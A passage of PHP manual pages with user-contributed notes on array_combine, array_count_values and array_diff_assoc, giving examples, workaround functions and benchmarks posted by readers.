$a = array('green', 'red', 'yellow');
$b = array('avocado', 'apple', 'banana');
$c = array_combine($a, $b);

print_r($c);
?>

The above example will output:

Array
(
    [green]  => avocado
    [red]    => apple
    [yellow] => banana
)

See Also

  • array_merge() - Merge one or more arrays
  • array_walk() - Apply a user supplied function to every member of an array
  • array_values() - Return all the values of an array

User Contributed Notes

ismorodin at hotmail dot com 05-Jun-2014 12:48
Function eliminates the error Throws E_WARNING if the number of elements in keys and values ​​does not match.

function arrCombine($arr1 = array(),$arr2 = array()){
            if(is_array($arr1) && is_array($arr2)):
                $cntArr1 = count($arr1);
                $cntArr2 = count($arr2);
                $difference = max($cntArr1,$cntArr2) - min($cntArr1,$cntArr2);
                if($cntArr1 > $cntArr2):
                    for ($i=1;$i<=$difference;$i++){
                        $arr2[$cntArr2+$i] = $cntArr2 + 1;
                    }
                    return array_combine($arr1,$arr2);
                elseif($cntArr1 < $cntArr2):
                    for ($i=1;$i<=$difference;$i++){
                        $arr1[$cntArr1+$i] = count($arr1) + 1;
                    }
                    return array_combine($arr1,$arr2);
                else:
                    return array_combine($arr1,$arr2);
                endif;
            endif;
    }
$array = [1,4,5,6,7,8];
$array2 = ['john','smith'];

var_dump( arrCombine($array,$array2 ));

array (size=6)
  1 => string 'john' (length=4)
  4 => string 'smith' (length=5)
  5 => int 3
  6 => int 3
  7 => int 3
  8 => int 3

var_dump( arrCombine($array2,$array) );

array (size=6)
  'john' => int 1
  'smith' => int 4
  3 => int 5
  4 => int 6
  5 => int 7
  6 => int 8
Anonymous 03-Aug-2013 10:05
Here is the Better solutions for array combine :

http://www.myfric.com/blog/item/php-array-combine-key-and-value
loureirorg at gmail dot com 14-Mar-2013 07:48
If two keys are the same, the second one prevails.

Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)

But if you need to keep all values, you can use the function below:

<?php
function array_combine_($keys, $values)
{
    $result = array();
    foreach ($keys as $i => $k) {
        $result[$k][] = $values[$i];
    }
    array_walk($result, create_function('&$v', '$v = (count($v) == 1)? array_pop($v): $v;'));
    return    $result;
}

print_r(array_combine_(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => Array
        (
            [0] => 1
            [1] => 2
        )

    [b] => 3
)
aaron at aaronholmes dot net 23-Jan-2013 01:54
You can create an array hashset from a flat array, storing both keys and values, with array_combine(). This works with duplicate values in the array too.

<?php
$flat_array = array(
        'one',
        'two',
        'three',
        'three',
        'four',
        'one'
);

$set = array_combine($flat_array, $flat_array);

var_dump($set);
?>

This outputs the following:

array(4) {
    ["one"]=>
        string(3) "one"
    ["two"]=>
        string(3) "two"
    ["three"]=>
        string(5) "three"
    ["four"]=>
        string(4) "four"
}
g.REMOVETHIS.vincendon AT vithemis.com 18-Jul-2012 06:41
I was looking for a function that could combine an array to multiple one, for my MySQL GROUP_CONCAT() query, so I made this function.

<?php
    function array_combine_array(array $keys)
    {
        $arrays = func_get_args();
        $keys = array_shift($arrays);

        /* Checking if arrays are on the same model (array('INDEX'=> array()) or array()) */
        $check = count(array_unique(array_map('is_array',array_map('current',$arrays)))) === 1;
        if (!$check) { trigger_error('Function array_combine_array() expects all parameters to be same type array or array of array',E_USER_NOTICE); return array(); }

        /* Checking the model of arrays, array('INDEX' => array()) or Array() */
        $assocArray = is_array(array_shift(array_map('current',$arrays)));

        /* If empty $Keys is given, we fill an empty array */
        if (empty($keys)) $keys = array_keys(array_fill(0,max(($assocArray) ? array_map('count',array_map('current',$arrays)) : array_map('count',$arrays)),'foo'));

        /* Init */
        $ret=array();$i=0;
        /* Cycling on each keys values, making an offset for each */
        foreach($keys as $v)
        {
            /* Cycling on arrays */
            foreach ($arrays as $k)
            {
                if ($assocArray)
                {
                    /* Getting the index of the element */
                    $key = key($k);
                    /* If the offset exists, we place it */
                    $ret[$v][$key] = isset($k[$key][$i]) ? $k[$key][$i]:false;
                }
                /* Making the array with auto-made index */
                else
                    $ret[$v][] = isset($k[$i]) ? $k[$i]: false;
            }
            /* Getting the next offset */
            $i++;
        }
        return $ret;
    }

    /* Examples */
    $r = array(1,2,4,10);

    $a1 = array('one','two','four','ten');
    $a2 = array('un','deux','quatre','dix');
    $a3 = array('uno','dos','quatro','diez');

     print_r(array_combine_array($r,array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Associative index, associative subarray indexes */
     print_r(array_combine_array($r,$a1,array('french' => $a2),array('spanish' => $a3))); /* Ouputs Error */
     print_r(array_combine_array($r,$a1,$a2,$a3)); /* Associative index, auto-made subarray indexes */
     print_r(array_combine_array(array(),array('english' => $a1),array('french' => $a2),array('spanish' => $a3))); /* Auto-made index, associative subarray indexes */
?>
dejiakala at gmail dot com 27-Oct-2011 12:32
I needed to read CSV files into associative arrays with column headers as keys. Then I ran into a problem when you have empty columns at the end of a row because array_combine returns false if both arrays don't have the same number of elements. This function based on quecoder at gmail's combine_arr() below allowed me to pad either array or not when parsing my CSVs to arrays.
$a is the array of header columns and $b is an array of the current row retrieved with fgetcsv()

<?php

function array_combine_special($a, $b, $pad = TRUE) {
    $acount = count($a);
    $bcount = count($b);
    // more elements in $a than $b but we don't want to pad either
    if (!$pad) {
        $size = ($acount > $bcount) ? $bcount : $acount;
        $a = array_slice($a, 0, $size);
        $b = array_slice($b, 0, $size);
    } else {
        // more headers than row fields
        if ($acount > $bcount) {
            $more = $acount - $bcount;
            // how many fields are we missing at the end of the second array?
            // Add empty strings to ensure arrays $a and $b have same number of elements
            $more = $acount - $bcount;
            for($i = 0; $i < $more; $i++) {
                $b[] = "";
            }
        // more fields than headers
        } else if ($acount < $bcount) {
            $more = $bcount - $acount;
            // fewer elements in the first array, add extra keys
            for($i = 0; $i < $more; $i++) {
                $key = 'extra_field_0' . $i;
                $a[] = $key;
            }

        }
    }

    return array_combine($a, $b);
}
?>
Dan LaManna 18-Sep-2011 05:12
I needed a function that truncated extra values, and only went as far as keys without throwing a warning as array_combine does.

<?php
function safeArrayCombine($keys, $values) {
    $combinedArray = array();

    for ($i=0, $keyCount = count($keys); $i < $keyCount; $i++) {
         $combinedArray[$keys[$i]] = $values[$i];
    }

    return $combinedArray;
}
?>
zequez at gmail dot com 28-Mar-2011 12:51
If two keys are the same, the second one prevails.
Example:
<?php
print_r(array_combine(Array('a','a','b'), Array(1,2,3)));
?>
Returns:
Array
(
    [a] => 2
    [b] => 3
)
claude dot pache at gmail dot com 12-May-2010 07:04
array_combine() has a strange bug/misfeature (as of PHP 5.3.2): There is no logical reason for <? array_combine(array(), array()) ?> throwing a warning and returning FALSE, instead of returning <? array() ?> (see http://bugs.php.net/bug.php?id=34857). Here is a quick workaround:
<?php
function array_real_combine($a, $b)
{
    return $a===array() && $b===array() ? array() : array_combine($a, $b);
}
?>
bradentkeith at dot dontspam dot gmail dot com 01-Apr-2010 09:20
I needed a function that would take keys from one unequal array and combine them with the values of another. Real life application:
Select 4 product types.
Each product has a serial.
There are 4 sets of products.

    <?php
        function array_combine2($arr1, $arr2) {
            $count1 = count($arr1);
            $count2 = count($arr2);
            $numofloops = $count2/$count1;

            $i = 0;
            while($i < $numofloops){
                $arr3 = array_slice($arr2, $count1*$i, $count1);
                $arr4[] = array_combine($arr1,$arr3);
                $i++;
            }

            return $arr4;
        }
    ?>

Input:
Array
(
    [0] => SMART Board
    [1] => Projector
    [2] => Speakers
    [3] => Splitter
)
, Array
(
    [0] => serial to smart board1
    [1] => serial to projector 1
    [2] => serial to speakers 1
    [3] => serials to splitter 1
    [4] => serials to smart board 2
    [5] => serials to projector 2
    [6] => serials to speakers 2
    [7] => serials to splitter 2
)

Array
(
    [0] => Array
        (
            [SMART Board] => serial to smart board1
            [Projector] => serial to projector 1
            [Speakers] => serial to speakers 1
            [Splitter] => serials to splitter 1
        )

    [1] => Array
        (
            [SMART Board] => serials to smart board 2
            [Projector] => serials to projector 2
            [Speakers] => serials to speakers 2
            [Splitter] => serials to splitter 2
        )

)
xavier at api-meal dot eu 23-Sep-2009 12:37
<?php
/**
 * Return alternatives defined by values of each parameters.
 *
 * Exemple :
 *
 * array_alternatives(array('foo','bar'), array('baz', 'qux'));
 * array(
 *     array('foo', 'baz'),
 *     array('bar', 'baz'),
 *     array('foo', 'qux'),
 *     array('bar', 'qux'),
 * );
 *
 * array_alternatives(array('a'), array('simple-minded'), array('solution'));
 * array(
 *     array('a', 'simple-minded', 'solution')
 * );
 *
 * array_alternatives(array('a'), array('red', 'blue'), array('car'));
 * array(
 *     array('a', 'red',  'car'),
 *     array('a', 'blue', 'car'),
 * );
 *
 * @param array $first_element
 * @param array $second_element
 * @return array
 * @author Xavier Barbosa
 */
function array_alternatives(array $first_element, array $second_element)
{
    $lists = func_get_args();
    $total_lists = func_num_args();

    for($i=0; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];
        if (is_array($list) === FALSE)
            throw new Exception("Parameter $i is not an array.");
        if (count($list) === 0)
            throw new Exception("Parameter $i has no element.");
        unset($list);
    }

    // Initialize our alternatives
    $alternatives = array();
    foreach($lists[0] as &$value)
    {
        array_push($alternatives, array($value));
        unset($value);
    }
    unset($lists[0]);

    // Process alternatives
    for($i=1; $i<$total_lists; $i++)
    {
        $list =& $lists[$i];

        $new_alternatives = array();
        foreach($list as &$value)
        {
            foreach($alternatives as $_)
            {
                array_push($_, $value);
                array_push($new_alternatives, $_);
            }
        }

        // Rotate references, it's cheaper than copy array like `$alternatives = $new_alternatives;`
        $alternatives =& $new_alternatives;
        unset($new_alternatives, $list, $lists[$i]);
    }

    return $alternatives;
}
?>
quecoder at gmail 26-Aug-2008 09:00
<?php
// If they are not of same size, here is solution:

$abbreviations = array("AL", "AK", "AZ", "AR", "TX", "CA");
$states = array("Alabama", "Alaska", "Arizona", "Arkansas");
function combine_arr($a, $b)
{
    $acount = count($a);
    $bcount = count($b);
    $size = ($acount > $bcount) ? $bcount : $acount;
    $a = array_slice($a, 0, $size);
    $b = array_slice($b, 0, $size);
    return array_combine($a, $b);
}
$combined = combine_arr($abbreviations, $states);
print_r($combined);

//  Output
//  Array ( [AL] => Alabama [AK] => Alaska [AZ] => Arizona
//  [AR] => Arkansas )
?>
J.D.D. 09-Aug-2008 10:31
This may be obvious, but I don't see anything about it on the manual page, so a friendly warning...  The array you are using as keys must have all unique values.  If not, array elements get dropped.

<?php
$arr_notUnique = array('one' , 'one' , 'two');
$arr_b = array('red' , 'green' , 'blue');

$arr_combo = array_combine($arr_notUnique, $arr_b);
?>

Results:  Array ( [one] => green [two] => blue )

NOT:  Array ( [one] => red [one] => green [two] => blue )
Mike Jean 19-Mar-2008 06:59
Khaly's PHP4 code below does not work correctly in all cases. Consider when your array consists of floats:

<?php

$okay = array(0, 10, 20, 30);
$not_okay = array(0, 0.5, 1, 1.5);

$foo = array_combine($okay, $okay);
$bar = array_combine($not_okay, $not_okay);

/*

Results:

$foo = {
  [0]=> int(0)
  [10]=> int(10)
  [20]=> int(20)
  [30]=> int(30)
}

$bar = {
  [0]=> float(0.5)
  [1]=> float(1.5)
}

*/

?>

What can you do? In my case, I was just zipping up some select-box options, so I converted everything in my floats to strings.
Khaly 04-Oct-2007 11:11
This is the function for PHP4 :

<?php

function array_combine($arr1,$arr2) {
   $out = array();
   foreach($arr1 as $key1 => $value1)    {
    $out[$value1] = $arr2[$key1];
   }
   return $out
}

?>
neoyahuu at yahoo dot com 20-Mar-2007 05:36
Some tips for merging same values in an array

<?php
$array1 = array(1,2,3,4,5,6,7,8,9,10,11,12);
$array2 = array(1,2,3,13);

$merged = array_merge($array1,$array2);

// output normal array_merge
echo '<pre>After array_merge :
';
print_r($merged);
echo '</pre>';

// do double flip for merging values in an array
$merged = array_flip($merged);
$merged = array_flip($merged);

// Output after
echo '<pre>After Double Flip :
';
print_r($merged);
echo '</pre>';
?>

Output ::

After array_merge :
Array
(
    [0] => 1
    [1] => 2
    [2] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [12] => 1
    [13] => 2
    [14] => 3
    [15] => 13
)

After Double Flip :
Array
(
    [12] => 1
    [13] => 2
    [14] => 3
    [3] => 4
    [4] => 5
    [5] => 6
    [6] => 7
    [7] => 8
    [8] => 9
    [9] => 10
    [10] => 11
    [11] => 12
    [15] => 13
)


Counts all the values of an array

  • « array_combine
  • array_diff_assoc »
  • PHP Manual
  • Array Functions
  • Counts all the values of an array

array_count_values

(PHP 4, PHP 5)

array_count_values — Counts all the values of an array

Description

array array_count_values ( array $array )

array_count_values() returns an array using the values of array as keys and their frequency in array as values.

Parameters

array

The array of values to count

Return Values

Returns an associative array of values from array as keys and their count as value.

Errors/Exceptions

Throws E_WARNING for every element which is not string or integer.

Examples

Example #1 array_count_values() example

<?php
$array = array(1, "hello", 1, "world", "hello");
print_r(array_count_values($array));
?>

The above example will output:

Array
(
    [1] => 2
    [hello] => 2
    [world] => 1
)

See Also

  • count() - Count all elements in an array, or something in an object
  • array_unique() - Removes duplicate values from an array
  • array_values() - Return all the values of an array
  • count_chars() - Return information about characters used in a string

User Contributed Notes

jakubplus at gmail dot com 07-Apr-2014 08:36
In order to apply array_map with callback checking for localised values like city name, country name, you have to provide some sort of comparison array.

Here's an example of array_count_values for Polish city names. Just switch array_keys / array_values in order to obtain lowercase / uppercase.

$arr = array('Warsaw', 'Warsaw', 'Wrocław', 'Poznań', 'KrakÓw', 'waRsaw', 'Gdańsk', 'poznań', 'WROCŁAW', 'kraków', 'GDAŃSK');
$lowertoupperpolish = array(
    'ą' => 'Ą',
    'ć' => 'Ć',
    'ę' => 'Ę',
    'ł' => 'Ł',
    'ń' => 'Ń',
    'ó' => 'Ó',
    'ś' => 'Ś',
    'ż' => 'Ż',
    'ź' => 'Ź',
);
function lowers($n) {
    global $lowertoupperpolish;
    return strtolower(str_replace(array_values($lowertoupperpolish), array_keys($lowertoupperpolish), $n));
}
$result = array_count_values(array_map('lowers', $arr));

print_r($result); ...prints:

Array ( [warsaw] => 3 [wrocław] => 2 [poznań] => 2 [kraków] => 2 [gdańsk] => 2 )
Dominic Vonk 14-Dec-2013 01:11
The case-insensitive version:

<?php
function array_count_values_ci($array) {
    $newArray = array();
    foreach ($array as $values) {
        if (!array_key_exists(strtolower($values), $newArray)) {
            $newArray[strtolower($values)] = 0;
        }
        $newArray[strtolower($values)] += 1;
    }
    return $newArray;
}
?>
szczepan.krolgmail.c0m 17-Jan-2010 08:21
Here is a Version with one or more arrays, which have similar values in it:
Use $lower=true/false to ignore/set case Sensitiv.

<?php

$ar1[] = array("red","green","yellow","blue");
$ar1[] = array("green","yellow","brown","red","white","yellow");
$ar1[] = array("red","green","brown","blue","black","yellow");
#$ar1= array("red","green","brown","blue","black","red","green"); // Possible with one or multiple Array

$res = array_icount_values ($ar1);
print_r($res);

function array_icount_values($arr,$lower=true) {
     $arr2=array();
     if(!is_array($arr['0'])){$arr=array($arr);}
     foreach($arr as $k=> $v){
      foreach($v as $v2){
      if($lower==true) {$v2=strtolower($v2);}
      if(!isset($arr2[$v2])){
          $arr2[$v2]=1;
      }else{
           $arr2[$v2]++;
           }
    }
    }
    return $arr2;
}
/*
Will print:
Array
(
    [red] => 3
    [green] => 3
    [yellow] => 4
    [blue] => 2
    [brown] => 2
    [white] => 1
    [black] => 1
)
*/
?>
bluej100@gmail 25-Mar-2008 10:37
byron at byronrode dot co dot za, here are some benchmarks.

<?php
$haystack = Array();
for ($i = 0; $i < 1000000; $i++) {
  $haystack[] = rand(1, 2000);
}

$needle = rand(1, 2000);

echo "__array_count_values()__\n";
$start = microtime(true);
$startmem = memory_get_usage();
$counts = array_count_values($haystack);
$mem = memory_get_usage()-$startmem;
echo 'Count:'.$counts[$needle]."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo "__array_keys()__\n";
$start = microtime(true);
$startmem = memory_get_usage();
$keys = array_keys($haystack, $needle);
$mem = memory_get_usage()-$startmem;
echo 'Count:'.count($keys)."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo '__$needle_array[]__'."\n";
$start = microtime(true);
$startmem = memory_get_usage();
$x = count($haystack);
for($i = 0; $i < $x; $i++){
  if($haystack[$i] == $needle){
    $needle_array[] = $haystack[$i];
  }
}
$mem = memory_get_usage()-$startmem;
$number_of_instances = count($needle_array);
echo 'Count:'.$number_of_instances."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";

echo '__$number_of_instances++__'."\n";
$start = microtime(true);
$startmem = memory_get_usage();
$x = count($haystack);
$number_of_instances = 0;
for($i = 0; $i < $x; $i++){
  if($haystack[$i] == $needle){
    $number_of_instances++;
  }
}
$mem = memory_get_usage()-$startmem;
echo 'Count:'.$number_of_instances."\n";
echo 'Time:'.(microtime(true) - $start)."\n";
echo 'Memory:'.$mem."\n\n";
?>

[www]mytemp$ php array_count_test.php
__array_count_values()__
Count:515
Time:0.0607650279999
Memory:120328

__array_keys()__
Count:515
Time:0.0869138240814
Memory:33016

__$needle_array[]__
Count:515
Time:0.259949922562
Memory:24792

__$number_of_instances++__
Count:515
Time:0.258481025696
Memory:0

However, when you use an array of strings by calling md5(rand(1, 2000)), the performance boosts become less significant:

__array_count_values()__
Count:499
Time:0.491794109344
Memory:184328

__array_keys()__
Count:499
Time:0.36399102211
Memory:30072

__$needle_array[]__
Count:499
Time:0.568728923798
Memory:22104

__$number_of_instances++__
Count:499
Time:0.574353933334
Memory:0

Results are similar for string->string haystacks with foreach traversal.
Hayley Watson 13-Mar-2008 08:37
Yet Another case-insensitive version of array_count_values()

<?php
$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');

$ar = array_count_values(array_map('strtolower', $ar));
?>
majerm at gmail dot com 18-Jun-2007 04:50
<?
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) $ret_array[strtolower($value)]++;
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar = array_icount_values($ar);
?>

this prints:

Array
(
    [j. karjalainen] => 4
    [60] => 2
    [fastway] => 4
    [yup] => 1
)
rabies dot dostojevski at gmail dot com 21-Feb-2007 10:40
I couldn't find a function for counting the values with case-insensitive matching, so I wrote a quick and dirty solution myself:

<pre><?php
function array_icount_values($array) {
    $ret_array = array();
    foreach($array as $value) {
        foreach($ret_array as $key2 => $value2) {
            if(strtolower($key2) == strtolower($value)) {
                $ret_array[$key2]++;
                continue 2;
            }
        }
        $ret_array[$value] = 1;
    }
    return $ret_array;
}

$ar = array('J. Karjalainen', 'J. Karjalainen', 60, '60', 'J. Karjalainen', 'j. karjalainen', 'Fastway', 'FASTWAY', 'Fastway', 'fastway', 'YUP');
$ar2 = array_count_values($ar); // Normal matching
$ar = array_icount_values($ar); // Case-insensitive matching
print_r($ar2);
print_r($ar);
?></pre>

This prints:

Array
(
    [J. Karjalainen] => 3
    [60] => 2
    [j. karjalainen] => 1
    [Fastway] => 2
    [FASTWAY] => 1
    [fastway] => 1
    [YUP] => 1
)
Array
(
    [J. Karjalainen] => 4
    [60] => 2
    [Fastway] => 4
    [YUP] => 1
)

I don't know how efficient it is, but it seems to work. Needed this function in one of my scripts and thought I would share it.
coda at bobandgeorge dot com 14-Oct-2005 02:52
alwaysdrunk's comment only works if you can trust the client web browser. Using this function doesn't validate that every necessary field exists -- only that every field that was submitted has a value in it. Thus if an attacker wished to force a null value into one of the fields, he could (rather easily) construct a modified form without the field and submit THAT.

Besides, you really ought to be validating each field anyway if you're taking user input.
[Mr.A] 06-Mar-2005 11:59
I find a very simple solution to count values in multidimentional arrays (example for 2 levels) :

foreach ($array as $a) {
  foreach ($a as $b) {
    $count_values[$b]++;
  }
}
pmarcIatIgeneticsImedIharvardIedu 30-Jan-2003 02:42
array_count_values function does not work on multidimentional arrays.
If $score[][] is a bidimentional array, the command
"array_count_values ($score)" return the error message "Warning: Can only count STRING and INTEGER values!".
manuzhai (AT) php (DOT) net 16-Nov-2002 03:45
You might use serialize() to serialize your objects before analyzing their frequency. :)


Computes the difference of arrays with additional index check

  • « array_count_values
  • array_diff_key »
  • PHP Manual
  • Array Functions
  • Computes the difference of arrays with additional index check

array_diff_assoc

(PHP 4 >= 4.3.0, PHP 5)

array_diff_assoc — Computes the difference of arrays with additional index check

Description

array array_diff_assoc ( array $array1 , array $array2 [, array $... ] )

Compares array1 against array2 and returns the difference. Unlike array_diff() the array keys are also used in the comparison.

Parameters

array1

The array to compare from

array2

An array to compare against

...

More arrays to compare against

Return Values

Returns an array containing all the values from array1 that are not present in any of the other arrays.

Examples

Example #1 array_diff_assoc() example

In this example you see the "a" => "green" pair is present in both arrays and thus it is not in the output from the function. Unlike this, the pair 0 => "red" is in the output because in the second argument "red" has key which is 1.

<?php
$array1 = array("a" => "green", "b" => "brown", "c" => "blue", "red");
$array2 = array("a" => "green", "yellow", "red");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [b] => brown
    [c] => blue
    [0] => red
)

Example #2 array_diff_assoc() example

Two values from key => value pairs are considered equal only if (string) $elem1 === (string) $elem2 . In other words a strict check takes place so the string representations must be the same.

<?php
$array1 = array(0, 1, 2);
$array2 = array("00", "01", "2");
$result = array_diff_assoc($array1, $array2);
print_r($result);
?>

The above example will output:

Array
(
    [0] => 0
    [1] => 1
    )

Notes

Note: This function only checks one dimension of a n-dimensional array. Of course you can check deeper dimensions by using, for example, array_diff_assoc($array1[0], $array2[0]);.

Note: Ensure you pass arguments in the correct order when comparing similar arrays with more keys. The new array should be the first in the list.

See Also

  • array_diff() - Computes the difference of arrays
  • array_intersect() - Computes the intersection of arrays
  • array_intersect_assoc() - Computes the intersection of arrays with additional index check

User Contributed Notes

francois-php at ceonizme dot fr 29-Aug-2014 03:27
to chinello at gmail dot com
I've had to use your function but it showed that the use of isset can't differentiate the NULL values from not setted values.

Here's a version that takes care of this subtility.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    $difference = NULL;
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
            if(!array_key_exists($key, $array2))
            {
                $difference[$key] = $value;
            }
            elseif(!is_array($array2[$key]))
            {
                $difference[$key] = $value;
            }
            else
            {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if($new_diff != FALSE)
                {
                    $difference[$key] = $new_diff;
                }
            }
        }
        elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
        {
            $difference[$key] = $value;
        }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

Hope that helps
François
shadow_games at abv dot bg 12-Jun-2014 12:45
there is a functiont that i searched long enough now i have created it so someone else to find it if he need it ;]
<?php
    function compare_two_object_recursive($object_1, $object_2, $object_1_Identifier = false, $object_2_Identifier = false){
        $object1 = (array)$object_1;
        $object2 = (array)$object_2;
        $object3 = array();

        $o1i = $object_1_Identifier ? $object_1_Identifier : 1;
        $o2i = $object_2_Identifier ? $object_2_Identifier : 2;

        foreach($object1 as $key => $value){
            if(is_object($object1[$key])){
                $object1[$key] = (array)$object1[$key];
                $object2[$key] = (array)$object2[$key];
                $object3[$key] = (object)compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }elseif(is_array($object1[$key])){
                $object3[$key] = compare_two_object_recursive($object1[$key], $object2[$key], $o1i, $o2i);
            }else{
                if($object1[$key] == $object2[$key]){
                    $object3[$key]['comparison_status'] = "SAME";
                }else{
                    $object3[$key]['comparison_status'] = "NOT THE SAME";
                    $object3[$key][$o1i] = $object1[$key];
                    $object3[$key][$o2i] = $object2[$key];
                }
            }
        }
        return $object3;
    }
?>
dev5er6 at gmail dot com 13-Apr-2014 01:01
Works more like the original function:

<?php

function array_diff_assoc_recursive ( )
{
    $args = func_get_args ( );
    $diff = array ( );
    foreach ( array_shift ( $args ) as $key => $val )
    {
        for ( $i = 0, $j = 0, $tmp = array ( $val ) , $count = count ( $args ); $i < $count; $i++ )
            if ( is_array ( $val ) )
                if ( !isset ( $args[$i][$key] ) || !is_array ( $args[$i][$key] ) || empty( $args[$i][$key] ) )
                    $j++;
                else
                    $tmp[] = $args[$i][$key];
            elseif ( ! array_key_exists ( $key, $args[$i] ) || $args[$i][$key] !== $val )
                $j++;
        if ( is_array ( $val ) )
        {
            $tmp = call_user_func_array ( __FUNCTION__, $tmp );
            if ( ! empty ( $tmp ) ) $diff[$key] = $tmp;
            elseif ( $j == $count ) $diff[$key] = $val;
        }
        elseif ( $j == $count && $count ) $diff[$key] = $val;
    }

    return $diff;
}

?>
telefoontoestel at hotmail dot com 04-Feb-2014 06:11
an earlier post for recursive array_diff_assoc failed because isset returned false on an array element containing a null value. I updated the code so it compares null values too.

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!array_key_exists($key, $array2) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>
Michael Richey 04-May-2013 10:43
If you're looking for a true array_diff_assoc, comparing arrays to determine the difference between two, finding missing values from both, you can use this along with array_merge.

$a = array('a'=>1,'b'=>2,'c'=>3);
$b = array('a'=>1,'b'=>2,'d'=>4);
print_r(array_diff_assoc($a,$b));
// returns:
array
(
    [c] => 3
)

print_r(array_diff_assoc($b,$a));
// returns
array
(
    [d] => 4
)

print_r(array_merge(array_diff_assoc($a,$b),array_diff_assoc($b,$a)));
// returns
array
(
    [c] => 3
    [d] => 4
)
Giosh 15-Mar-2013 08:15
The array_diff_assoc_array from "chinello at gmail dot com" (and others) will not work for arrays with null values. That's because !isset is true when an array key doesn't exists or is set to null.

(sorry for the changed indent-style)
<?php
function array_diff_assoc_recursive($array1, $array2) {
    $difference=array();
    foreach($array1 as $key => $value) {
        if( is_array($value) ) {
            if( !isset($array2[$key]) || !is_array($array2[$key]) ) {
                $difference[$key] = $value;
            } else {
                $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                if( !empty($new_diff) )
                    $difference[$key] = $new_diff;
            }
        } else if( !array_key_exists($key,$array2) || $array2[$key] !== $value ) {
            $difference[$key] = $value;
        }
    }
    return $difference;
}
?>

And here an example (note index 'b' in the output):
<?php
$a1=array( 'a' => 0, 'b' => null, 'c' => array( 'd' => null ) );
$a2=array( 'a' => 0, 'b' => null );

var_dump( array_diff_assoc_recursive( $a1, $a2 ) );
var_dump( chinello_array_diff_assoc_recursive( $a1, $a2 ) );
?>
array(1) {
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}

array(2) {
  ["b"]=>
  NULL
  ["c"]=>
  array(1) {
    ["d"]=>
    NULL
  }
}
news_yodpeirs at thoftware dot de 12-Jul-2011 01:25
A quite simple (yet not very efficient) way to compare the first level of arrays which have values that are not strings:
array_map('unserialize',array_diff_assoc(array_map('serialize',$arr1),array_map('serialize',$arr2)))
Might be useful for debugging (that's what I use it for).
jrajpu10 at gmail dot com 25-Oct-2008 09:57
array_diff_assoc can also be used to find the duplicates in an array

<?php
$arr = array('1','2','3','4','3','2','5');
$uniques = array_unique($arr);
// array_diff will not work here, array_diff_assoc works as it takes the key // in account.
$dups = array_diff_assoc($arr, $uniques);

print_r($dups);
?>

Note: The index of the $dups is not in strict sequential order as expected by C programmer.
cedric at daneel dot net 21-May-2007 03:01
To diff between n-dimensional array, juste use this :

<?php
function array_diff_values($tab1, $tab2)
    {
    $result = array();
    foreach($tab1 as $values) if(! in_array($values, $tab2)) $result[] = $values;
    return $result;
    }
?>
contact at pascalopitz dot com 11-Apr-2007 01:14
The direction of the arguments does actually make a difference:

<?php
$a = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
);

$b = array(
    'x' => 'x',
    'y' => 'y',
    'z' => 'z',
    't' => 't',
    'g' => 'g',
);

print_r(array_diff_assoc($a, $b));
print_r(array_diff_assoc($b, $a));
?>

echoes:

Array
(
)
Array
(
    [g] => g
)
chinello at gmail dot com 19-Mar-2007 07:33
The following will recursively do an array_diff_assoc, which will calculate differences on a multi-dimensional level.  This not display any notices if a key don't exist and if error_reporting is set to E_ALL:

<?php
function array_diff_assoc_recursive($array1, $array2)
{
    foreach($array1 as $key => $value)
    {
        if(is_array($value))
        {
              if(!isset($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              elseif(!is_array($array2[$key]))
              {
                  $difference[$key] = $value;
              }
              else
              {
                  $new_diff = array_diff_assoc_recursive($value, $array2[$key]);
                  if($new_diff != FALSE)
                  {
                        $difference[$key] = $new_diff;
                  }
              }
          }
          elseif(!isset($array2[$key]) || $array2[$key] != $value)
          {
              $difference[$key] = $value;
          }
    }
    return !isset($difference) ? 0 : $difference;
}
?>

[NOTE BY danbrown AT php DOT net: This is a combination of efforts from previous notes deleted.  Contributors included (Michael Johnson), (jochem AT iamjochem DAWT com), (sc1n AT yahoo DOT com), and (anders DOT carlsson AT mds DOT mdh DOT se).]
Alexander Podgorny 30-May-2006 11:30
NOTE: the diff_array also removes all the duplicate values that match to the values in the second array:

<?php
    $array1 = array("a","b","c","a","a");
    $array2 = array("a");

    $diff = array_diff($array1,$array2);

